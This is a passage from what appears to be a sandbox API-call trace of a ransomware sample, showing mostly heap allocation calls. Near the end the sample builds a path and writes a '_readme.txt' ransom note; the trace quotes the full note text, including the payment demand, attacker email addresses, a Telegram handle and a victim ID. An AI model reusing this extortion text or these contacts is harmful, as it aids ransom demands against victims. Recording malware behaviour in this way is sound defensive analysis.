dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.190] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.193] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0266.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.194] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.194] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.194] PathFindFileNameW (pszPath="") returned="" [0266.194] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.194] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.194] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.194] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.194] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.194] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.194] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.195] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.195] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0266.195] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.195] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.195] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0266.196] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.196] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.196] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.196] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.196] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.196] HeapFree (in: 